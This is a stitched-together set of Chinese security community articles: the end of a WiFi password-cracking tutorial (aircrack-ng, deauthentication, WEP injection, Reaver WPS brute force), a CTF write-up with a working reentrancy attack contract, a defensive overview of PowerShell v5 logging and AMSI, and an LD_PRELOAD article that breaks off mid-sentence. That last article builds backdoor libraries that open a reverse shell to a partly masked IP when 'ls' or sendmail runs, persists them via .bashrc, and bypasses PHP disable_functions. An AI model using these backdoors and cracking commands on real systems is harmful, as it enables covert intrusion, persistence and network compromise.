30:FC:68:CA:13:DF，意味着成功抓到握手包，接下来只需字典爆破握手包即可。
执行命令aircrack-ng capture_wap-01.cap，查看捕获握手包数据信息。
执行命令aircrack-ng capture_wap-01.cap -w dictiontry.txt，爆破字典为dictiontry.txt文件。
成功找到密码t35ttest。
#### 测试坑点一：
执行命令airodump-ng wlan0mon查看周围无线设备时，如果发现界面右上角存在 fixed channel mon0:
-1字样，那么，建议换成kali虚拟机重新测试吧，原因是因为操作系统内核不兼容。之前尝试ubuntu16.04抓握手包，半天抓不到，网上去找原因，才知道是这里出了问题。
#### 测试坑点二：
在进行aireplay-ng -0 1 -a 30:FC:68:CA:13:DF -c 00:00:00:00:00:00
wlan0mon这条命令时，发现了一些问题。首先，该命令是执行Deauth攻击加速破解过程的命令，原理是通过发送Deauth的数据包，将已连接至无线路由器的合法客户端强制断开，此时，客户端就会重新自动重新连接无线路由器，也就是在这个过程中，有机会获得WPA-PSK握手验证的完整数据包。而这条命令中-0参数表示采用Deauth攻击模式，后面紧跟着攻击次数1次，-a参数后跟AP的MAC地址，-c参数后跟客户端的MAC地址，此命令也就表示为，采用Deauth攻击模式，将MAC地址为00:00:00:00:00:00客户端与MAC地址为30:FC:68:CA:13:DFAP之间的通信强制断开1次。其次，在经过几次测试中发现，除各型号安卓机型外，苹果手机在收到Deauth攻击后，重新连接AP的时段中，抓不到相应的握手包，而其他设备，均可抓到握手包。这里排除其他原因，单纯地看,苹果手机好像略高一畴。^……^！
### 测试环境二：WEP模式
配置的AP如下，设置WEP模式下的秘钥为12345
#### 实验步骤
同样执行airodump-ng wlan0mon探测周围的设备
由上图可知当前目标AP的工作频道为11，相应地，过滤出当前AP可以清晰看到与当前AP进行连接的其他设备。
执行命令airodump-ng wlan0mon –bssid 30:FC:68:CA:13:DF -c 11
上图可以查看详细的交互设备MAC，模糊处的MAC地址为00:00:00:00:00:00。
接下来抓取IVS数据报文，执行命令airodump-ng –ivs -w capture_wep -c 11 wlan0mon –bssid
30:FC:68:CA:13:DF，该条命令表示只抓取bssid为30:FC:68:CA:13:DF的IVS数据报文，并将其保存至前缀名为capture_wep的文件中。
执行完上条命令后，新开一个命令行界面，执行命令aireplay-ng -3 -b 30:FC:68:CA:13:DF -h
00:00:00:00:00:00 wlan0mon，该命令参数-3
表示采用ArpRequest注入攻击模式，-b后紧跟AP的MAC地址，-h后紧跟客户端MAC地址。ArpRequest注入攻击原理是通过读取交互设备之间的ARP请求报文，并伪造报文再次重发出去，从而刺激AP产生更多的数据包，以供抓取更多的IVS数据包，加快破解速度。在执行该条命令后，查看之前的界面可以发现Data列的数据一直在增加。
然后再新开一个界面，执行命令aircrack-ng capture_wep-01.ivs，Aircrack-ng就会自动进行破解。
成功破解密码12345，耗时大概两分多钟。什么，密码设置的太简单了，那接下来设置个比较难的呗：#fl?2a&*6^g{
按照上面的命令，依旧破解下来，也只是多花了几分钟的时间，这还是除去虚拟机的配置，hhh~
所以如果还是WEP的，赶紧换WPA2吧，亡羊补牢，哪怕还没亡羊。
### 测试环境三：WPS模式
无线路由器PIN码设置为54808782
#### 实验步骤
该模式下，可以使用Reaver工具强制爆破PIN码，通过PIN码得到wifi密码。
同样先使用airmon-ng start wlan0进行网卡嗅探
查看到目标AP的SSID即可开始测试，这里依旧与之前的MAC地址相同：30:FC:68:CA:13:DF
执行命令reaver -i wlan0mon -b 30:FC:68:CA:13:DF -p 54808782，稍等一会，即会出现以下界面
可以看到已经破解成功。当然，这是在已知PIN码情况下，进行的测试。在不知PIN码的情况下只能爆破，基本上是个几天几夜，对应的命令为reaver -i
wlan0mon -b 30:FC:68:CA:13:DF -vv。
虽然许多路由器默认关闭WPS，但还是建议大家认真检查下，如果开了QQS，顺手把它关了吧。反正也就是举手之劳，省掉一个安全隐患，何乐不为？
## 结语
以上的种种测试，均是自行配置设备，再自行测试，学术不精，见谅。实践出真知，了解攻击原理，有助于更好部署防御措施。“害群之马者坏人也，非兵也”，自行斟酌，三思后行。 | 社区文章 |
### 前言
近年来，各个大型CTF（Capture The
Flag，中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式）比赛中都有了区块链攻防的身影，而且出现的题目绝大多数都是区块链智能合约攻防。此系列文章我们主要以智能合约攻防为中心，来剖析智能合约攻防的要点，前两篇我们分享了合约反编译，反汇编的基础内容。后续的文章中，我们会继续分享CTF比赛中智能合约常见题型（重入，整数溢出，空投，随机数可控等）及解题思路，相信会给读者带来不一样的收获。
本篇我们先来分享CTF比赛中的重入题型，也是比较常见的一类题型，当然多数CTF智能合约题目并不仅仅考察单个漏洞的攻防，合约中的判断条件有时也非常棘手。比如2018年WCTF上BelluminarBank题目，需要用到整数绕过条件限制，还需用到存储溢出，访问权限设置等多个攻击技巧。
本篇分享的重入题型我们选择2019强网杯babybank题目。
题目地址：<https://ropsten.etherscan.io/address/0x93466d15A8706264Aa70edBCb69B7e13394D049f#code>
### 题目分析
**题目提示：**
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
**合约源码：**
查看合约题目，发现并没有ether，也没有给出合约源码，如下图：
由于拿到题目后只有合约的opcode，所以需要进行逆向，这里我们推荐Online Solidity
Decompiler在线网站（<https://ethervm.io/decompile），具体逆向时的源码还原我们不再赘述，需要学习的同学可移步系列文章反编译篇，反汇编篇>
以下为逆向后的合约代码：
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); //重入漏洞点
balance[msg.sender] -= amount;
}
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);
balance[msg.sender] = 0;
balance[to] = amount;
}
}
**合约分析：**
我们先来看题目提示：
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000); //调用者余额需大于等于10000000000
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
从该段代码的payforflag函数可以看出，该函数传入两个参数（md5ofteamtoken，b64email），函数中第一行代码require(balance[msg.sender]
>=
10000000000);会判断调用者地址余额是否大于等于10000000000，如果满足该条件，则继续执行之后代码，否则停止执行该函数并回滚状态；第二行和第三行对调用者地址进行了赋值和转账；最后一行emit
sendflag(md5ofteamtoken,b64email);意义是通过event事件输出该函数传入的两个参数。
也就是说只要通过该事件输出这两个参数，就意味着拿到了flag，那么如何让调用者地址余额达到10000000000就是我们接下来需要做的工作。
通过分析合约，我们发现在withdraw函数中，存在一个经典的重入漏洞。
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); // 重入漏洞点
balance[msg.sender] -= amount;
}
该withdraw函数中，第一行代码require(amount ==
2);限制该函数传入的amount值为2，否则停止执行该函数并回滚状态；第二行代码require(amount <=
balance[msg.sender]);
会判断调用者地址是否大于等于2，如果满足该条件，则继续执行之后代码，否则停止执行该函数并回滚状态；第三行代码含义是进行转账，由于这里使用call.value()的转账方法，所以存在重入漏洞；之后利用第四行减掉已经转出的数值，由于这里balance[msg.sender]值已经大于等于2，故不存在整数下溢出。
这里的重入漏洞点为：
使用call.value()方法进行转账时，该方法会传递所有可用 Gas
进行调用，当该方法转账的地址为攻击者的合约地址时，就会调用攻击者合约地址的fallback函数，如果攻击者在自身合约的fallback函数中写入调用题目withdraw函数的代码，就可不停的循环取币，不再执行第四行balance[msg.sender]
-= amount;的减币操作，从而导致发生重入漏洞。
接下来的工作满足2 <= balance[msg.sender]的判断条件成立
继续分析合约，可以得到合约中两个增加数值的函数（profit()函数和guess()函数）。
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
profit()函数中，地址余额为0的条件满足后，就可使得level值加1，调用者地址balance值加1。
guess()函数中，首先判断输入的number值是否与secret值匹配（在合约信息中找到secret值），之后判断level是否为1（当profit函数调用成功后，这里的level值必然为1），当两个条件都满足后，就可继续给level值再加1，调用者地址balance值也加1。当profit()和guess()函数依次调用成功后，调用者地址balance结果就为2。
达到了withdraw函数中的取款条件。
### 解题思路
通过上述合约分析，我们最终的解题思路如下：
1. 自毁给题目合约转币--由于初始合约并未给出ether，所以需要利用自毁函数selfdestruct()强制给题目合约转入ether。
2. 调用题目合约profit()函数--由于初始地址均为0，故通过调用该函数给调用者地址的余额加一（balance=1）
3. 调用题目合约guess()函数并传入调用数据data参数--通过调用该函数给调用者地址的余额继续加一（balance=2）
4. 调用题目合约withdraw()函数并传入参数2--达到2<=balance[msg.sender]判断条件，通过call.value()循环取币。
5. 调用题目合约payforflag()函数并传入两个参数--通过重入漏洞取币后，满足balance[msg.sender] >= 10000000000的判断条件，待函数执行完成后，获取flag成功。
下面进行攻击演示
### 攻击演示
#### 1.自毁给题目合约转币
由于合约初始状态没有ether，故我们通过自毁函数，强行将ether转入被攻击合约地址
构造自毁合约
pragma solidity ^0.4.24;
contract Abcc {
function kill() public payable {
selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}
}
部署Abcc合约，并利用kill()函数进行带入0.2ether进行自毁，将ether发送到被攻击合约地址
发送成功
#### 2.部署攻击合约
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attacker {
BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
uint private flag = 0;
function exploit() public payable {
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
target.withdraw(2);
target.payforflag("king", "king");
}
function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}
从以上攻击合约中可以看出，我们在exploit()函数中依次调用了题目合约profit()，guess()，withdraw()，payforflag()函数。
部署攻击合约之后，调用expoit函数
合约交易记录中可看到一系列操作,最后的一个交易是将合约中的ETH全部提现到合约所有者地址中
查看事件记录，已有sendflag事件
### 总结
本篇文章中，我们通过CTF智能合约babybank题目，了解了重入漏洞的触发点，合约空投的利用和对交易数据的理解。对于此类重入漏洞题目，我们做题的思路是：根据该合约的重入漏洞逐步去推理所需要的条件，并经过分析梳理出调用步骤，最终完成攻击流程。 | 社区文章 |
PowerShell v5 是一个 RTM版本。（截至 2015/12/18)。在此之前的八月起，有一个"生产预览版"可用，这意味着它不是最后的版本。随着
PowerShell v5 最终版的正式发布，我强烈建议你[下载 PowerShell v5](https://www.microsoft.com/en-us/download/details.aspx?id=50395) 并开始测试准备生产部署。
PowerShell 为系统管理员提供了广泛的管理能力，但是反过来看，这种能力也可以被攻击者利用，进行企业内网渗透和持久化控制。
Microsoft 在下载网站上的提供了以下几点关于 PowerShell v5 的优势和更新说明︰
Windows 管理框架 (WMF) 5.0 从 WMF 4.0 带来了已更新的功能。WMF 5.0 是仅可用于安装在 Windows Server
2012 R2、 Windows Server 2012，Windows 2008 R2，Windows 8.1 和 Windows 7
SP1。其他一些在此版本中新增和更新的功能说明包括如下︰
1.开发 Windows PowerShell 的类
2.足够的管理功能 (JEA)
3.提取和解析字符串内容中的结构化对象
4.为 Windows PowerShell 远程调试提供了更多的控制
5.PowerShell 信息流 6.一些新的和已更新的以及基于社区的反馈的 cmdlet
7.ODataUtils 生成基于 OData 端点的 Windows PowerShell cmdlet
8.通过新的 cmdlet 管理 ZIP 文档
9.使用改进的cmdlet 与符号链接进行交互
10.在 Windows PowerShell ISE 中改进了 DSC 创作
11.DSC 配置关键字支持 32 位
12.通过转录和日志记录的方式审计 Windows PowerShell 使用
13.可以用元配置属性配置 DSC 的本地配置管理器
14.用 DSC 的部分配置进行其他配置
15.管理 DSC 中跨计算机的依赖项
16.在 DSC 中有了更多的控制权配置
17.在 DSC 中可以找到有关配置状态的更多详细信息
18.在 DSC 配置编译过程中支持 -？
19.支持 DSC RunAsCredential
20.丰富了DSC LCM 状态信息
21.DSC 资源和 PowerShell 模块的安装同步
22.PSDesiredStateConfiguration 模块版本更新到 1.1
23.DSC 的报告配置状态集中到了同一个位置 24.可以使用 PackageManagement 发现并安装软件
25.可以使用 PowerShellGet 发现 PowerShell 模块、 PowerShell 脚本和 DSC 资源
26.可以使用 Windows PowerShell管理网络交换机
27.软件清单记录 (SIL)
在 PowerShell v5 中有几个令人信服的安全功能，使得它很有必要去部署
（恕我直言）。[我曾在2015年的几个安全会议上提到过这些安全功能](https://adsecurity.org/?page_id=1352)。
这些安全功能包括：
脚本块日志记录
完整的脚本副本记录
约束模式
反恶意软件集成也叫 AMSI（Windows 10）
**脚本块日志记录**
脚本块日志提供了在事件日志中记录反混淆的 PowerShell 代码的能力。大多数的攻击工具都会进行混淆处理，通常会使用 Base64
编码，在执行代码之前很难发现或确认这些代码实际上会做些什么事情。由于脚本块日志会在实际的代码传递到 PowerShell
引擎之前进行记录，这就使得在代码执行之前就能进行日志记录，因为脚本代码在执行之前需要进行反混淆处理。
由于许多 PowerShell
攻击攻击都对攻击代码进行了混淆处理，所以很难识别脚本代码的具体功能。脚本块日志会对要执行的代码进行反混淆和记录。由于代码已经被反混淆且进行了记录，所以当集中化的日志系统捕捉到可疑的日志时就能够及时的进行告警。
识别带有攻击性的 PowerShell 代码的一个关键挑战是大多数情况下代码都是混淆过的 （Base64，Base64 + XOR
等）。这使得几乎不可能实现实时分析，因为没有触发警报的关键字消息。
更深度的脚本块记录可疑记录它处理过的脚本文件内容也就是在执行时所生成的脚本的文件内容。
Microsoft 提供了一个经过混淆处理的命令代码示例：
## Malware
function SuperDecrypt
{
param($script)
$bytes = [Convert]::FromBase64String($script)
## XOR “encryption”
$xorKey = 0x42
for($counter = 0; $counter -lt $bytes.Length; $counter++)
{
$bytes[$counter] = $bytes[$counter] -bxor $xorKey
}
[System.Text.Encoding]::Unicode.GetString($bytes)
}
$decrypted = SuperDecrypt “FUIwQitCNkInQm9CCkItQjFCNkJiQmVCEkI1QixCJkJlQg==”
Invoke-Expression $decrypted
传递给 PowerShell 处理的原始的脚本块内容 （如上文所述）就是 PowerShell 执行的实际命令。
请注意，脚本块记录默认是启用的。
**完整的脚本副本**
完整的脚本副本功能可以通过组策略启用并为系统上每个用户在该系统上执行的每个 PowerShell
命令和代码块提供一个"更加丰富"的副本文件。这份副本可以定向传输到“只写”的网络共享上为后续的分析和 SIEM 工具进行读取。
另外，PowerShell 具有将控制台输出的文本信息写入到一个副本文件中，这需要用户或脚本在运行时使用 “start-transcript
$FileName”执行。这就提供了一个简单的脚本日志文件。这种方法的缺点是在同一时间只能有一个副本记录活动。PowerShell ISE
编辑器不支持副本记录，Start-Transcript 必须被添加到每个用户的 PowerShell 配置文件中以便按顺序保存记录所运行的命令。
完整的脚本副本提供简单的方法把所有的 PowerShell 命令 （包括那些内部运行的或其他位置的脚本）
都写入到一个特定于计算机上的且存储在网络共享中的记录文件中。这样就可以以接近实时分析的效果对 PowerShell
的活动进行快速分析并能确认已知的安全风险。
完整的脚本副本记录功能可以通过组策略启用，标头中会包含以下信息︰
Start time
User Name
RunAs User
Machine (Operating System)
Host Application
Process ID
参数：
IncludeInvocationHeader —— 包括每个运行的命令的开始时间。
OutputDirectory —— 把副本文件写到一个中心位置上，例如网络共享。
Microsoft 提供了一个 PowerShell 脚本配置 中央副本共享 ACL 的示例︰
md c:Transcripts
## Kill all inherited permissions
$acl = Get-Acl c:Transcripts
$acl.SetAccessRuleProtection($true, $false)
## Grant Administrators full control
$administrators = [System.Security.Principal.NTAccount] “Administrators”
$permission = $administrators,”FullControl”,”ObjectInherit,ContainerInherit”,”None”,”Allow”
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.AddAccessRule($accessRule)
## Grant everyone else Write and ReadAttributes. This prevents users from listing
## transcripts from other machines on the domain.
$everyone = [System.Security.Principal.NTAccount] “Everyone”
$permission = $everyone,”Write,ReadAttributes”,”ObjectInherit,ContainerInherit”,”None”,”Allow”
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.AddAccessRule($accessRule)
## Deny “Creator Owner” everything. This prevents users from
## viewing the content of previously written files.
$creatorOwner = [System.Security.Principal.NTAccount] “Creator Owner”
$permission = $creatorOwner,”FullControl”,”ObjectInherit,ContainerInherit”,”InheritOnly”,”Deny”
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.AddAccessRule($accessRule)
## Set the ACL
$acl | Set-Acl c:Transcripts
## Create the SMB Share, granting Everyone the right to read and write files. Specific
## actions will actually be enforced by the ACL on the file folder.
New-SmbShare -Name Transcripts -Path c:Transcripts -ChangeAccess Everyone
通过组策略启用完整的脚本副本记录功能的操作步骤︰
Windows Components（Windows 组件） -> Administrative Templates （管理模板） -> Windows PowerShell -> Turn on PowerShell Transcription
该组策略配置对应的注册表路径为：
HKLM:SoftwarePoliciesMicrosoftWindowsPowerShellTranscription
**PowerShell 的约束模式**
PowerShell 支持多种“[语言模式](https://technet.microsoft.com/en-us/library/dn433292.aspx)”。其中有个比较有趣的语言模式——"受限的语言模式"，它会将 PowerShell 锁定为基本功能模式。
PowerShell v5 也同样支持自动锁定降级，这需要 AppLocker 部署在"允许"模式才行。Applocker
允许模式是真正的程序白名单，它可以有效防止未经授权的任何二进制文件执行。当 PowerShell v5 检测到 Applocker
在允许模式下时，PowerShell 会自动将其语言模式设置为约束模式，这就极大地限制了系统上的受攻击面。在Applocker 允许模式开启并且
PowerShell 是在约束模式下运行的时候，攻击者不可能将 PowerShell 的语言模式更改为完整的模式也无法运行任何 PowerShell
攻击工具。当 AppLocker 配置在"允许模式"时，PowerShell
会将自身功能降级到"约束模式"，只允许交互式输入以及用户编写的脚本的功能。约束模式下的 PowerShell 只允许核心的 PowerShell
功能目的是防止执行那些经常使用扩展语言特点的且带攻击性的 PowerShell 工具 (如：操作 .NET 的脚本，通过 Add-Type cmdlet
调用 Win32 API 以及与 COM 对象进行交互的脚本) 。
**反恶意软件集成 (Windows 10)**
新的 Windows 10 [反恶意软件扫描接口（AMSI）](https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587%28v=vs.85%29.aspx) 要求所有的脚本引擎
（PowerShell，VBScript 和 JScript）
对脚本文件，在命令行中键入的命令甚至是从互联网下载并在内存中执行的代码进行动态内容分析。这样就可以在计算机上执行 PowerShell
代码之前进行安全扫描。当代码被传递到 PowerShell"引擎"(System.Management.Automation.dll) 时，它会将代码发送到
AMSI 进行反恶意软件检查。系统上安装的反恶意软件解决方案需要支持 AMSI 以便于能进行代码扫描。Windows Defender 支持 Windows
10 AMSI。扫描后，如果 AMSI 返回了 OK，则代码会被执行。反之，则不会执行代码。
这意味着，只要反病毒/反恶意软件解决方案支持 [AMSI](https://msdn.microsoft.com/en-us/library/windows/desktop/dn889588%28v=vs.85%29.aspx)，那么在 Windows 10
计算机上就可以阻止 PowerShell 攻击代码的执行。
反恶意软件扫描接口 (AMSI)
是一种允许应用程序和服务集成在一台机器上的任何反恶意软件产品的泛型接口标准。它为用户和他们的数据、应用程序以及工作负载提供了增强的恶意软件防护。 AMSI
是反恶意软件供应商不可知论者，它是一个现代反恶意软件产品，并被设计针对最常见的恶意软件的扫描也可以集成其他应用程序所提供的保护技术。它支持文件和内存以及流式扫描的调用结构，允许内容源
URL/IP 信誉检查和其他技术。 AMSI
还支持会议的概念，以便反恶意软件供应商可以将不同的扫描请求相关联。例如，通过将孤立的片段相关联后就可以针对不同的碎片化的恶意 payload
达到更明智的决定。
本文为嘶吼编辑 丝绸之路 编译，如若转载，请注明原文地址：http://www.4hou.com/technology/3144.html | 社区文章 |
# 有趣的 LD_PRELOAD
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
LD_PRELOAD 是 Linux 系统中的一个环境变量，它可以影响程序的运行时的链接（Runtime
linker），它允许你定义在程序运行前优先加载的动态链接库。如果你是个 Web 狗，你肯定知道 LD_PRELOAD，并且网上关于 LD_PRELOAD
的文章基本都是绕过 disable_functions，都快被写烂了。
今天我们就从浅入深完整的学习一下什么是 LD_PRELOAD，LD_PRELOAD 有什么作用，我们可以如何利用 LD_PRELOAD。
## 首先，什么是链接
程序的链接主要有以下三种：
* 静态链接：在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序，之后不再拆开。
* 装入时动态链接：源程序编译后所得到的一组目标模块，在装入内存时，边装入边链接。
* 运行时动态链接：原程序编译后得到的目标模块，在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说，需要一个动态链接库，其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的，可执行程序无需重新编译，方便程序的发布/维护/更新。但是由于程序是在运行时动态加载，这就存在一个问题，假如程序动态加载的函数是恶意的，就有可能导致一些非预期的执行结果或者绕过某些安全设置。
## LD_PRELOAD
LD_PRELOAD 是 Linux 系统中的一个环境变量，它可以影响程序的运行时的链接（Runtime
linker），它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。一方面，我们可以以此功能来使用自己的或是更好的函数（无需别人的源码），而另一方面，我们也可以以向别人的程序注入程序，从而达到特定的目的。
> LD_PRELOAD is an optional environmental variable containing one or more
> paths to shared libraries, or shared objects, that the loader will load
> before any other shared library including the C runtime library (libc.so)
> This is called preloading a library.
## LD_PRELOAD Hook
由于 LD_PRELOAD 可以指定在程序运行前优先加载的动态链接库，那我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件，然后通过指定
LD_PRELOAD 让程序优先加载的这个恶意的动态链接库，最后当程序再次运行时便会加载动态链接库中的恶意函数。具体的操作步骤如下：
1. 定义与目标函数完全一样的函数，包括名称、变量及类型、返回值及类型等。
2. 将包含替换函数的源码编译为动态链接库。
3. 通过命令 `export LD_PRELOAD="库文件路径"`，设置要优先替换动态链接库即可。
4. 替换结束，要还原函数调用关系，用命令`unset LD_PRELOAD` 解除
下面我们通过一个简单的实例进行演示：
* passcheck.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <given-password>\n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("\033[0;32;32mPassword Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mPassword Wrong!\n\033[m");
return 0;
}
}
直接将其编译并运行：
gcc passcheck.c -o passcheck
可以看到当输入正确的密码时返回的是 “Password Correct!”，密码错误则返回 “Password Wrong!”。这其中用到了标准 C 函数
`strcmp` 函数来做比较，这是一个外部调用函数。下面我们尝试重新编写一个与 `strcmp` 同名的函数，并编译成动态链接库，实现劫持原函数的功能。
* hook_strcmp.c
#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
return 0;
}
> 由于我们通过 LD_PRELOAD 劫持了函数，劫持后启动了一个新进程，若不在新进程启动前取消
> LD_PRELOAD，则将陷入无限循环，所以必须得删除环境变量 LD_PRELOAD，最直观的做法是调用
> `unsetenv("LD_PRELOAD")`。
执行命令编译生成 hook_strcmp.so：
gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
然后通过环境变量 LD_PRELOAD 来设置 hook_strcmp.so 能被其他调用它的程序优先加载：
export LD_PRELOAD=$PWD/hook_strcmp.so
# 也可以直接 LD_PRELOAD=$PWD/hook_strcmp.so ./passcheck password
然后再次执行 passcheck，发现不管输入什么都会返回 “Password Correct!” 了：
此时我们便成功劫持了原程序 passcheck 中的 `strcmp` 函数。
## 利用 LD_PRELOAD Hook 系统命令并制作后门
当我们得知了一个系统命令所调用的库函数 后，我们可以重写指定的库函数进行劫持。这里我们以 `ls` 命令为例进行演示。
首先查看 `ls` 这一系统命令会调用哪些库函数：
readelf -Ws /usr/bin/ls
如上图所示可以看到很多库函数，我们随便选择一个合适的进行重写即可，这里我选择的是 strncmp：
* hook_strncmp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
执行命令编译生成 hook_strcmp.so：
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
然后通过环境变量 LD_PRELOAD 来设置 hook_strncmp.so 能被其他调用它的程序优先加载：
export LD_PRELOAD=$PWD/hook_strncmp.so
最后执行 `ls` 发现成功执行了 `id` 命令：
说明此时成功劫持了 `strncmp` 函数。
利用这种思路，我们可以制作一个隐藏得 Linux 后门，比如当管理员执行 `ls` 命令时会反弹一个 Shell：
* hook_strncmp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
执行命令编译生成 hook_strcmp.so：
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
然后在 `.bashrc` 中写入：
export LD_PRELOAD=/root/hook_strncmp.so
这样便可以在管理员每次启动终端的时候设置 LD_PRELOAD 了。当管理员执行 `ls` 命令时，便能成功反弹 Shell：
## 利用 LD_PRELOAD 绕过 Disable_Functions
我们经过千辛万苦拿到的 Webshell 居然tmd无法执行系统命令：
多半是 disable_functions 惹的祸。查看phpinfo发现确实设置了 disable_functions：
千辛万苦拿到的Shell却变成了一个空壳，你甘心吗？幸运的是有很多方法可以绕过 disable_functions，其中一种便是利用环境变量
`LD_PRELOAD` 劫持系统函数，让外部程序加载恶意的动态链接库文件，从而达到执行系统命令的效果。
基于这一思路，将突破 disable_functions 限制执行操作系统命令这一目标，大致分解成以下几个步骤：
* 查看进程调用的系统函数明细
* 找寻内部可以启动新进程的 PHP 函数
* 找到这个新进程所调用的系统库函数并重写
* PHP 环境下劫持系统函数注入代码
虽然 LD_PRELOAD 为我提供了劫持系统函数的能力，但前提是我得控制 PHP
启动外部程序才行，并且只要有进程启动行为即可，无所谓是谁。所以我们要寻找内部可以启动新进程的 PHP
函数。比如处理图片、请求网页、发送邮件等三类场景中可能存在我想要的函数，但是经过验证，发送邮件这一场景能够满足我们的需求，即 mail()。
### 利用 mail() 启动新进程来劫持系统函数
* main.php
<?php
mail("a@localhost","","","","");
?>s
执行以下命令，可以查看进程调用的系统函数明细：
strace -f php error_log.php 2>&1 | grep -A2 -B2 execve
如上图所示，第一个 `execve` 是启动 PHP 解释器，而之后的 `execve` 则启动了新的系统进程，那就是
`/usr/sbin/sendmail`。我们执行 `readelf` 看看 `sendmail` 这一系统命令会调用哪些库函数：
readelf -Ws /usr/sbin/sendmail
我们随便找一个合适的库函数即可，这里我们选择的是第 82 行的 `getuid`：
* hook_getuid.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
执行命令编译生成 hook_getuid.so：
gcc -shared -fPIC hook_getuid.c -o hook_getuid.so
然后在 PHP 环境下劫持系统函数 getuid 就行了，代码如下：
* mail.php
<?php
putenv("LD_PRELOAD=/var/tmp/hook_getuid.so"); // 注意这里的目录要有访问权限
mail("a@localhost","","","","");
?>
// 运行 PHP 函数 putenv(), 设定环境变量 LD_PRELOAD 为 hook_getuid.so, 以便后续启动新进程时优先加载该共享对象。
// 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 hook_getuid.so 中的同名 getuid() 所劫持。
此时运行 mail.php 便可以成功执行命令并反弹 Shell：
## 利用 error_log() 启动新进程来劫持系统函数
`error_log` 与 `mail` 函数的原理一样，都会启动一个新的系统进程 `/usr/sbin/sendmail`：
利用方式也是一样的，都可以劫持 `getuid` 函数。最后的验证脚本如下：
* error_log.php
<?php
putenv("LD_PRELOAD=/var/tmp/hook_getuid.so"); // 注意这里的目录要有访问权限
error_log("", 1, "", "");
?>
不再赘述。
### 利用 LD_PRELOAD 劫持系统新进程来绕过
回想下，我们之所以劫持 `getuid` 函数，是因为 sendmail 程序会调用该函数，但是在真实环境中，该利用条件十分苛刻。比如某些环境中，Web
